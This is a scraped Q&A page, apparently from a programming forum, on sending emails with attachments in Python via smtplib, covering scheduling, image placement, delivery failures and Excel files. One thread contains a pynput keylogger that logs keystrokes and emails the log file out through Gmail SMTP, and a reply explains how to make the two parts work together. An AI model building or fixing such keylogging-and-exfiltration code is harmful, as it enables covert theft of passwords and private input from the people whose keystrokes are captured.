Repeatedly send email with python on time interval - python

I want to make a python script that sends an email with an attachment (txt) every 30 minutes. Here is my code to send the email with the attachment. It's working without any problems. However, I need help to figure out how to send this on a time schedule.
import smtplib
from email.mime.text import MIMEText
from email.mime.multipart import MIMEMultipart
from email.mime.base import MIMEBase
from email import encoders
import os.path
email = 'myaddress#gmail.com'
password = 'password'
send_to_email = 'sentoaddreess#gmail.com'
subject = 'This is the subject'
message = 'This is my message'
file_location = 'C:\\Users\\You\\Desktop\\attach.txt'
msg = MIMEMultipart()
msg['From'] = email
msg['To'] = send_to_email
msg['Subject'] = subject
msg.attach(MIMEText(message, 'plain'))
filename = os.path.basename(file_location)
attachment = open(file_location, "rb")
part = MIMEBase('application', 'octet-stream')
part.set_payload((attachment).read())
encoders.encode_base64(part)
part.add_header('Content-Disposition', "attachment; filename= %s" % filename)
msg.attach(part)
server = smtplib.SMTP('smtp.gmail.com', 587)
server.starttls()
server.login(email, password)
text = msg.as_string()
server.sendmail(email, send_to_email, text)
server.quit()

Two options for you
You can look into scheduling your python script to run at a certain time interval. This means, each script run would send one email, and you would stop the automated task rather than stopping the script when you want the emails to stop. If you're running Windows OS, they have a built in application called Task Scheduler to manage this for you.
Option two is to use the time.sleep() function. This method would mean the script would continue to run and shoot off an email every 30 minutes. The script would have to be stopped when you want the emails to stop.
import time
while True:
{insert your email send code here}
time.sleep(60*30) # this is in seconds, so 60 seconds x 30 mins

Related

Adding a picture at the bottom of the mail content when sending e-mail with Python SMTP

Using the email and smtp libraries, I have developed a script that automatically sends mail via outlook's smtp server.
I enter the content of the mail and after the content is written I want to send the picture at the bottom.
But it sends the picture not at the bottom as I want it, but at the top of the mail content.
Example mail ( This is only image ) : https://ibb.co/d5HFwRG
My code:
from email.mime.multipart import MIMEMultipart
from email.mime.text import MIMEText
from email.mime.base import MIMEBase
from email.mime.image import MIMEImage
def send_mail(gender, messages, subject):
global msg
try:
msg = MIMEMultipart()
s = smtplib.SMTP(host="SMTP.office365.com", port=587)
s.starttls()
s.login(mail, password)
msg['From'] = mail
msg['To'] = example#outlook.com
msg['Subject'] = messages
msg.attach(MIMEText(message, 'plain', 'utf-8'))
attachment = open("image.jpg", "rb")
p = MIMEBase('application', 'octet-stream')
p.set_payload((attachment).read())
encoders.encode_base64(p)
p.add_header('Content-Disposition', "attachment; filename= %s" % image)
msg.attach(p)
s.send_message(msg)
del msg
except Exception as e:
print(e)
My code is actually much more complex, but I just showed you the function I use to send mail.
I had to change the names of some variables while adding them here, so the above code may not work for you, you need to edit it.
How can I get that picture sent in the Mail to the bottom?

Sending multiple emails with Python consecutively but some are missing

I was trying to send around 10+ emails (each has an Excel file attached) consecutively by invoking the below Python function send_email(), which is based on the sample code shared by the tutorials on the web.
Somehow I found that though the 10+ emails are sent without errors/exceptions, occasionally some of the emails are not recipeved by the recipients. I checked the Sent box of the specified sender email account, for the emails that weren't received by the recipients, they are not in the sender's Sent box either.
I speculated that it could be due to those consecutive invocations of send_email() overflooded the SMTP server (but not sure) so I added 1 sec delay between the invocation (as specified below). However, the issue still happens occasionally. Now I'm trying to increase the delay from 1sec to 10sec.
Please kindly advise if my speculation is in the right direction and if there is anything I need to do to better pinpoint the root cause. Thanks a lot.
My code is as follows:
(a) Invoking send_email() consecutively in a loop. For each loop assign the corresponding email recipients, subject, message, and Excel attachment as the inputs.
(b) To add delays in between send_email() calls, time.sleep(1) is invoked to add 1 sec delay in the hope of not to overflow the SMTP server.
(c) The code of send_email() is as follows:
#Email the generated Excel file out
import smtplib
from email.mime.text import MIMEText
from email.mime.multipart import MIMEMultipart
from email.mime.base import MIMEBase
from email import encoders
import os.path
def send_email(email_recipients, email_subject, email_message, attachment_location = ''):
email_sender = 'xxx' #xxx is the sender's email address
msg = MIMEMultipart()
msg['From'] = email_sender
msg['To'] = ", ".join(email_recipients)
msg['Subject'] = email_subject
msg.attach(MIMEText(email_message, 'plain'))
if attachment_location != '':
filename = os.path.basename(attachment_location)
attachment = open(attachment_location, "rb")
part = MIMEBase('application', 'octet-stream')
part.set_payload(attachment.read())
encoders.encode_base64(part)
part.add_header('Content-Disposition',
"attachment; filename= %s" % filename)
msg.attach(part)
try:
mailserver = smtplib.SMTP('smtp.office365.com', 587)
mailserver.ehlo()
mailserver.starttls()
mailserver.login('xx', 'xxxx') # xx and xxxx are the credentials for the smtp server
text = msg.as_string()
mailserver.sendmail(email_sender, email_recipients, text)
print('email sent')
except Exception as e:
print(e)
print("SMPT server connection error")
finally:
mailserver.quit()
return True

Having trouble with the python 3.4.1 code. Wont follow through with task given

I'm trying to code a keylogger that sends its log file to my email address. The KeyLogger and Email work fine separately but when put in the same IDLE file only the one listed first works and the one second does not.
Ex)
The code I'm using - the keylogger works fine because it is before the email but I was wondering how to get them both to work at the same time.
from pynput.keyboard import Key, Listener
import logging
import smtplib
from email.mime.text import MIMEText
from email.mime.multipart import MIMEMultipart
from email.mime.base import MIMEBase
from email import encoders
#keylogger
log_dir = "C:\KeyLogger Python\Key_InputLog.txt"
logging.basicConfig(filename=(log_dir), level=logging.DEBUG, format='%
(asctime)s: %(message)s')
def on_press(key):
logging.info(str(key))
with Listener(on_press=on_press) as listener:
listener.join()
#sending email to self.
email_sender = 'Emailhere#gmail.com'
email_receive = 'Emailhere#gmail.com'
password = 'Password!'
subject = 'KLE - Key_InputLog.txt'
msg = MIMEMultipart()
msg['From'] = email_sender
msg['to'] = email_receive
msg['Subject'] = subject
body = 'Sending a message via Python 3'
msg.attach(MIMEText(body,'plain'))
filename='Key_InputLog.txt'
attachment =open(filename,'rb')
part = MIMEBase('application','octet-stream')
part.set_payload((attachment).read())
encoders.encode_base64(part)
part.add_header('Content-Disposition',"attachment; filename= "+filename)
msg.attach(part)
text = msg.as_string()
server = smtplib.SMTP('smtp.gmail.com',587)
server.starttls()
server.login(email_sender,password)
server.sendmail(email_sender,email_receive,text)
server.quit()
Move the code that needs to be run on an event into the on_press() function instead of keeping it at the module level.

Python Send Email with Base64 encoded image as attachment

I am trying to send emails from an AWS server using python and sendmail. (SES not available in my region). Using mail at the command line to send a basic email works fine. Now I am trying to do this from Python. I have the code below. It seems to run without error but no mail turns up in recipient email. Note that I am not sending attachments at this stage.
Maillog entries appear for the mail sent via python and via command line. Entries seem quite similar except "Message accepted for delivery" appears after the entries sent via command line.
What could be going wrong here? Where else might I look to find out what is going wrong? Is there an easier way to send email from Python / Linux?
import smtplib
from email.mime.application import MIMEApplication
from email.mime.multipart import MIMEMultipart
from email.mime.text import MIMEText
from email.utils import COMMASPACE, formatdate
from subprocess import Popen, PIPE
def send_mail(send_from, send_to, subject, text, files=None,
server="127.0.0.1"):
msg = MIMEMultipart()
#msg['From'] = send_from
msg['To'] = send_to
msg['Date'] = formatdate(localtime=True)
msg['Subject'] = subject
msg.attach(MIMEText(text))
# files should be a dictionary of filenames & base64 content
for fname in files or {}:
part = MIMEBase('image', 'jpeg')
part.set_payload(files[fname])
part.add_header('Content-Transfer-Encoding', 'base64')
part['Content-Disposition'] = 'attachment; filename="%s"' % fname
msg.attach(part)
print (msg.as_string())
p = Popen(["/usr/sbin/sendmail", "-t", "-oi"], stdin=PIPE)
p.communicate(msg.as_string())
So I am not sure where things went wrong. But I was on the right track. My final function is as follows below. This takes a base64 encoded list of images, are sent from my client application in JSON. Each image is in its own dictionary object with {filename: base64Data}.
def send_mail(send_from, send_to, subject, text, files=None):
msg = MIMEMultipart()
msg["From"] = send_from
msg["To"] = send_to
msg["Subject"] = subject
msg.attach(MIMEText(text))
# files should be a dictionary of filenames & base64 content
for file in files or []:
for key in file:
part = MIMEBase('image', 'jpeg')
part.set_payload(file[key])
part.add_header('Content-Transfer-Encoding', 'base64')
part['Content-Disposition'] = 'attachment; filename="%s"' % key
msg.attach(part)
# send the email by using send mail
p = Popen(["/usr/sbin/sendmail", "-t", "-oi"], stdin=PIPE)
p.communicate(msg.as_string())

Not able to open Excel File which contain Graph

Edit question for new issue
I was able to get Email But it was delay from server side.**
I am writing very small application for sending email with attachment of excel file in python. it contain multiple worksheet and each worksheet contain graph. I received email but it looks like File was corrupted.
is it possible to attach Excel which contain graph( size also upto 2MB)
# -*- coding: iso-8859-1 -*-
from email.mime.text import MIMEText
from email.mime.application import MIMEApplication
from email.mime.multipart import MIMEMultipart
from smtplib import SMTP
import smtplib,email,email.encoders,email.mime.text,email.mime.base
msg = MIMEMultipart()
msg['Subject'] = 'Email From Python Abhishek'
msg['From'] = 'xyz.com'
msg['To'] = 'abc.com'
fileMsg = email.mime.base.MIMEBase('application','vnd.ms-excel')
fileMsg.set_payload(file('Final.xlsx').read())
email.encoders.encode_base64(fileMsg)
fileMsg.add_header('Content-Disposition','attachment;filename=Final.xlsx')
msg.attach(fileMsg)
smtp = SMTP("email exchange server",25)
#(I was able to connect with exchange server using Telnet http://www.exchangeinbox.com/article.aspx?i=93)
# Start the server:
smtp.ehlo()
I have commented below code as per one internet posting. it suggest that if you
are sending internal Email you may not require login and password.I also do not
want to write password as it is violate company policy
if I remove comment from line. it give me error for bad authentication.
#smtp.login("abc", "password")
smtp.sendmail(msg['From'],msg['To'],msg.as_string())
#server.quit()
Here is a script that I have used for sending email from a gmail account, it should work for others in theory, but I have only tested with gmail. You can call it from the command line passing in the arguements listed in main or you can call the mail function directly from another Python module:
#!/usr/bin/python
# currently set up and tested on gmail only
import smtplib
from email.MIMEMultipart import MIMEMultipart
from email.MIMEBase import MIMEBase
from email.MIMEText import MIMEText
from email import Encoders
import os, sys, base64
def mail(gmail_user, enc_pwd, to, subject, body, attach):
msg = MIMEMultipart()
msg['From'] = gmail_user
msg['To'] = to
msg['Subject'] = subject
msg.attach(MIMEText(body, 'html'))
if attach:
part = MIMEBase('application', 'octet-stream')
part.set_payload(open(attach, 'rb').read())
Encoders.encode_base64(part)
part.add_header('Content-Disposition',
'attachment; filename="%s"' % os.path.basename(attach))
msg.attach(part)
mailServer = smtplib.SMTP("smtp.gmail.com", 587)
mailServer.ehlo()
mailServer.starttls()
mailServer.ehlo()
mailServer.login(gmail_user, base64.b64decode(enc_pwd))
mailServer.sendmail(gmail_user, to, msg.as_string())
mailServer.close()
def main():
if len(sys.argv) <6:
print "Usage: send_email.py <from> <enc_pwd> <to> <subject> <body> " \
"[<attachments>]"
print "Note: Email is being sent in html mode, so any newlines should " \
"be sent as <br/>"
if len(sys.argv) > 1:
print "\nThe following arguements were received:"
for i in sys.argv:
print i
else:
gmail_user = sys.argv[1]
gmail_pwd = sys.argv[2]
to = sys.argv[3]
subject = sys.argv[4]
body = sys.argv[5]
attach = None
if len(sys.argv) >= 7:
attach = sys.argv[6]
mail(gmail_user, gmail_pwd, to, subject, body, attach)
if __name__ == '__main__':
main()
Let me know if you have any questions

Categories